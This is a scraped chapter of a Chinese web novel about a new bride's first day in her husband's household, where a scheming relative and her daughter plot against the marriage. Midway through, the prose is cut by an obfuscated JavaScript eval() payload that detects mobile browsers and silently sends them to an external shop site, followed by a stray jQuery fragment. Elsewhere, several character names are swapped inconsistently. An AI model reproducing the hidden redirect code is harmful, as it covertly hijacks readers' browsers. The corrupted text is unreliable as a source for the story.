文趣网 > 其他小说 > 成为真千金后 > 25. 新婚
    谢濯天蒙蒙亮就出去了,等宜歌起来的时候就不见人影,只听见婢子说他已经出府了。

    循例新妇要给婆母请安,宜歌梳妆穿戴好便往宜春堂去。

    宜春堂内,秦夫人坐在首座。许霞在旁正与秦夫人聊天,余光见一红衣女子踱步而来。

    视线完全投向来人身上,许霞看清了她的面容。

    翠蛾眉妩,双髻绾云颜似玉。

    宜歌接过婢子递来的茶碗,送到秦夫人面前,秦夫人接过她的茶浅呷一口敬茶后还未发话,许霞便不满道:“新妇头一次来请安就如此懈怠,这都什么时辰了。”

    什么时辰?宜歌心想,卯时过半似乎不晚吧。

    秦夫人温声道:“敬过茶,你就回你自己院里吧。往后不必晨昏定省,我也不喜这些。”

    宜歌余光扫了许霞一眼,颔首施礼离开。

    待人走后,许霞似乎恨铁不成钢:“妹子啊,她今日来得晚你不计较也就算了,怎么连这晨昏定省应该的礼俗都免了呢。就算你觉得你不好插手大公子的事,可你毕竟照料了他好些年,也是半个亲生的了。”

    秦夫人手掩额头:“这些虚礼就不必了,我也受不起。再说,你也是知道我身子骨不好,我也不想这么早就折腾起来。”

    许霞眼球提溜转了两圈,甩了一下帕子:“也罢,这样你能松泛些。”

    宜歌出来后迎面撞上一个身穿青袍的孩童,那孩童行礼道:“见过嫂嫂。”

    谢圆大概没想到这个有两面之缘的大姐姐会成为嫂嫂。

    她脸上总是带着笑意,比冷冰冰的兄长要平易近人。

    宜歌眉眼含笑应了他一声,随后谢圆便跑去了宜春堂。

    回潇园的途中,她想着去折一枝梅花来装饰在房中,可初来府中不熟悉环境,也不知花园在何处,有无专门的梅园。

    宜歌随机选了一位婢女询问:“府中梅花开在何处?”

    霜华正在为自家姑娘采花做花茶,听见一清凌又陌生的女声,转过头见到女子的模样,大概知晓这便是少夫人了。

    她微微福身道:“少夫人唤婢子霜华就好。府中有梅园,奴婢带您去。”

    宜歌颔首,瞥眼见她篮子里采摘了许多鲜花,便问:“霜华姑娘缘何采这么多花?”

    少夫人出乎意料的亲和,霜华轻快道:“回少夫人,是二姑娘让婢子采的,用来制花茶。”

    来到梅园,霜华颇感为难,犹豫要不要在这陪着少夫人逛梅园,陪吧姑娘还等着花儿呢,不陪又不好。

    这时宜歌对霜华道:“你快些回去吧,莫要耽误了。”

    霜华雀跃不失平静道:“是。”

    白墙黛瓦作围,月洞门上方的匾额墨漆大写着“梅园”二字,整体素净雅致。

    宜歌迈入梅园中,小厮婢女四处散开,或提桶浇水,或翻盆换土,又或修剪根系,各司其职。

    梅园占地颇阔,光梅花种类就有五十余。宜歌还从未见过白梅、绿梅和黄梅,各色交叠映衬,渐渐迷乱了双眼。

    原来梅也不止一种颜色。不过她还是最喜欢红梅。

    宜歌瞧好了开得最好的那一枝,于是伸手去折,手刚搭上去,枝的另一边却出现了一个女子的手。

    顺其往上看,原来是她。

    俩人都不说话,手也不肯松,最后宜歌笑着道:“好巧啊,尤娘子。”

    可能是做了亏心事的缘故,青梅见了她心底有些发虚。

    倒是尤淑真像是从来没有做过那件事一样,语气不善:“能不巧吗,你都嫁进来了。”

    宜凝视了她一瞬,只一刹那似乎就穿透了人心。让尤淑真以为她是不是知道的传播谣言的就是她眼前的人。

    宜歌松开手,大方道:“既然你喜欢那就让你了。”说完兀自离开。

    尤淑真咬牙暗道:什么叫让?这本来就是我的!整个府里的东西只要我想要都应该是我的!

    青梅见主子不动作,似乎又生气了,小心翼翼道:“小姐,这梅花……奴婢给您折下来吗?”

    尤淑真瞪了她一眼:“折什么折,这破花有什么好折的!”

    青梅连忙低头缩了缩肩膀。

    语毕尤淑真大步离开了梅园,青梅瘪嘴,委屈地跟在身后。

    回到西院,许霞见尤淑脸色青白,定是气成这样的,想起大公子定亲时听见女儿房中摔砸的声音,下意识就觉得她这是被那新妇给气的。

    尤淑真方在屋内坐下,见母亲进来,语气缓和下来:“娘。”

    许霞让青梅出去,关紧门在旁边坐下:“你啊,气性总是这么大,气坏了身子可不划算。娘与你说件事,保管你心里好受。”

    尤淑真不解,现在还有什么事是能让自己好受的,只听母亲道:“昨晚大公子与那新妇没有圆房。”

    尤淑真挑眉:“娘是如何得知的?”

    许霞道:“潇园有我安插的人在,昨晚大公子喝醉了酒宿在厢房。那新妇呢出来逛了许久才回主卧。按理说啊,醒酒也不用醒一晚上吧,可见大公子也没多喜爱这位新妇。”

    “他俩关系破裂那是迟早的事。”

    尤淑真听明白了,但是可能有所误解,颦眉道:“我可不愿作妾。”

    许霞拍了她一下:“你这傻孩子,你是我女儿,我怎么会让你做妾呢。”

    尤淑真彻底明白了,就是等他们和离,蹙眉道:“那不知道要等多久,可别白费了我的青春年华。”

    许霞劝也似的说:“心急吃不了热豆腐。”

    *

    谢濯来了宜春堂,别的没有多说,只提起管家的事。

    秦夫人也知道,自己当甩手掌柜多年,如今新妇进门自然应该全劝交给新妇处理,让一个勉强算得是表亲的许霞管终归还是不合适。

    谢濯走后,秦夫人差人去喊许霞过来,让她回头把账簿、库房钥匙交给新妇。

    许霞知道有这么一天,当然不乐意,百般借口:“妹子,那新妇不过就一个十几岁的小姑娘,哪里知道管家的门道,这要是出岔子不还是得麻烦你。”

    “你如今的身子骨,哪里还受得了操劳。”

    秦夫人咳了两下,顺了顺气道:“让你给就给,人家是这府里正儿八经的主母,理应由她管。”

    见她并不打算改变主意,许霞不请不愿道:“待会整理了就给她。”

    许霞在宜春堂坐了会就离开了。

    那厢,谢沁雪批上大氅出了院门往潇园去,霜华着急劝道:“小姐,让奴婢转送给少夫人也是一样的。您在房里歇着吧,你身子着不得凉啊”

    谢沁雪道:“这怎么行,兄长与嫂嫂新婚,我要送祝福当然得亲自送啊。”

    “小姐…可您……”

    谢沁雪声量拔高:“好了,不准啰嗦了。”

    霜华不敢再说什么,噤了声。

    *

    账簿和钥匙已经送到了潇园,宜歌手指不紧不慢敲了敲桌面,澹然扫了面前掌事嬷

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805220|208752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嬷一眼:“以前都是表婶帮着婆母主持中馈,如今突然交给我,还真是有些心慌。嬷嬷,劳烦你转告婶子一声,我以后可能要叨扰她了。”

    掌事嬷嬷陪笑道:“少夫人这说的哪里话,夫人信任您才会这么快就让您料理府中事物的,不必觉得心慌。”

    宜歌嘴角微扬,眼神示意鸢儿。鸢儿从荷包拿出一两碎银子给她,掌事嬷嬷接过连忙道谢就退了下去。

    片刻后,谢沁雪踏入潇园,宜歌听见有人极轻的脚步声,循着声音望去。

    来人披着带有薄绒毛的大氅,下着蜜合色百迭裙,衬得她肌肤盛雪。

    只是她脸色不见血色,略显病态。

    宜歌看见她身后的霜华,便知晓来人是谁了。

    眼前的女子美得如同不食人间烟火的仙子一般,谢沁雪怔了一瞬,随后收敛目光行礼道:“嫂嫂安好。”

    宜歌让鸢儿去煮新茶,对她道:“这里风大,去里面。”

    “不用了,我就来送个东西,不久坐。”谢沁雪将绣好的锦瑟和鸣图递给她,“本来是昨日就要送嫂嫂和兄长的,只是我绣得慢了些,现在才绣完。”

    宜歌接过她的绣图,看了看便让鸢儿先放在房中的小几上。

    面前的大理石桌上,壶中的茶还是热的,杨昭倒了杯茶:“喝杯热茶暖暖身子再走吧。”

    谢沁雪身子不好,特别怕寒,现下虽然是暖春了,可春寒料峭她还是觉得冷,不然也不会批着带绒毛的大氅出来。

    她眉眼弯弯,笑着伸手接茶:“多谢。”

    谢沁雪喝完茶要走时想起一件事:“嫂嫂,方才那个掌事嬷嬷是许表婶的人,你要注意些。”

    “都说许表婶是协助嫡母主持中馈,可嫡母身子不好,很多事都是表婶拿主意的。”

    宜歌忖了忖,颔首道:“我知道了,会留个心眼的。”

    *

    谢濯是临近亥时回来的,他在屋内窗边软榻的案几上瞥见绣图。

    那肯定是妹妹送来的,也只有她会送。

    案几上除了绣图,还有插着一枝红梅的净瓶。

    谢濯转身时,宜歌恰好沐浴完穿着寝衣从浴房出来。

    俩人又是一愣,空气中弥漫着诡异的气氛,暧昧又尴尬。

    谢愈以拳掩唇假咳了一声,随后视线转向别处。

    屋内静谧起来,宜歌打破这份寂静说道:“你…吃饭了吗?”

    谢濯心跳加速,居然莫名不敢看她,但还是装作没事人淡然回应道:“吃过了。”

    杨昭又道:“沁雪送了绣图来。”

    谢愈道:“我看见了。”

    ……又是一段沉寂,良久,宜歌再次开口道:“她身子不大好,是一直这样么?”

    谢濯转眸看她神色,她眼中有担忧亦有关切:“也不是,小时候生了一场大病,落下了病根。”

    ……

    “天色不早了,早些睡吧。”说着谢濯去到屏风后宽衣解带。

    听见窸窸窣窣的声响,宜歌躺在床上心里一紧,昨日没有他醉酒没有圆房,那今日…

    这时,她感受到床榻下陷,抓着锦衾的手也紧了几分,但是旁边人并没有下一步动作。

    转头看他,他已然阖了眼,好像是睡了。

    俩人笔直地躺着,心里都是说不出的别扭和不适应。

    屋内视线昏暗,只有那淡淡的、从窗牖泻进来的月光,宜歌盯着床幔,不知几时,睡意上涌渐渐睡着了。